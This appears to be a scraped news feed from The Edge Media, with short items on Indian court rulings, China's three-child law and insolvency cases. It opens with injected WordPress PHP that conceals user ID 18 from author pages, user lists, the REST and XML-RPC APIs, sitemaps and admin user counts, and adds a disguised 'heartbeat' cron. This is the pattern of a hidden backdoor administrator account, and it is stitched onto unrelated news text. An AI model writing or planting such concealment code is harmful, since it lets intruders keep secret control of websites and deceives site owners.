add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Supreme Court has given the Centre 24 hours to rule on pending sedition cases under the law appeared first on The Edge Media.
]]>
Meanwhile, the Supreme Court agreed to the Centre’s request to postpone the case until the sedition statute was re-examined. Earlier, the court asked the Centre’s solicitor general, Tushar Mehta, how long it would take to rethink the sedition statute and how the government would deal with its misuse.
The post The Supreme Court has given the Centre 24 hours to rule on pending sedition cases under the law appeared first on The Edge Media.
]]>The post China allows couple to have three children appeared first on The Edge Media.
]]>The amendment to the Population and Family Planning Law was passed at a session of the National People’s Congress, China’s parliament, and rolled out measures including tax breaks to encourage couples to have more children.
The amendment formally reverses China’s long-time policy of allowing most couples only one child.
In 2016, Beijing had scrapped its decades-old one-child policy to replace it with a two-child limit, which, however, had failed to lead to the expected upsurge in births.
China introduced the strictly implemented one-child policy in the late 1970s, which, estimates say, resulted in hundreds of millions of fewer births but left Beijing facing the problems of a rapidly greying society.
The amended law includes measures to provide affordable nursing services, and also to reduce the cost of births and education of children, such as allowing tax deductions.
The measures include cancelling the “social maintenance fee”, which was a financial penalty couples paid for having children beyond the limit.
The government will also encourage local governments to offer parental leave, increasing women’s employment rights and improving childcare infrastructure.
The post China allows couple to have three children appeared first on The Edge Media.
]]>The post Only 394 Insolvency cases resolved under Bankruptcy law in Five years. appeared first on The Edge Media.
]]>According to data provided by the Ministry of Corporate affairs, the aggregate realisable amount from the 394 cases which have been resolved under CIRP is Rs.2.45 lakh crore . This amount pertains to financial creditors as well as banks.
The Insolvency and Bankruptcy Code, 2016 (IBC) is a bankruptcy legislation , which was passed by the Parliament in May 2016 with the aim of creating a single law for bankruptcy and insolvency.
The post Only 394 Insolvency cases resolved under Bankruptcy law in Five years. appeared first on The Edge Media.
]]>The post Anti-terror law should not be misused to quell dissent : Supreme Court Judge. appeared first on The Edge Media.
]]>“Criminal law, including anti-terror legislation, should not be misused for quelling dissent or harassment of citizens. As I noted in my judgement in Arnab Goswami vs the state, our courts must ensure that they continue to remain the first defense against the deprivation of liberty of citizens,” Justice Chandrachud said.
He was speaking at the Indo-US Joint Summer Conference on Indo-US legal ties.
“Deprivation of liberty for even a single day is one too many. We must always be mindful of the deeper systemic issues of our decisions,” he added.
The post Anti-terror law should not be misused to quell dissent : Supreme Court Judge. appeared first on The Edge Media.
]]>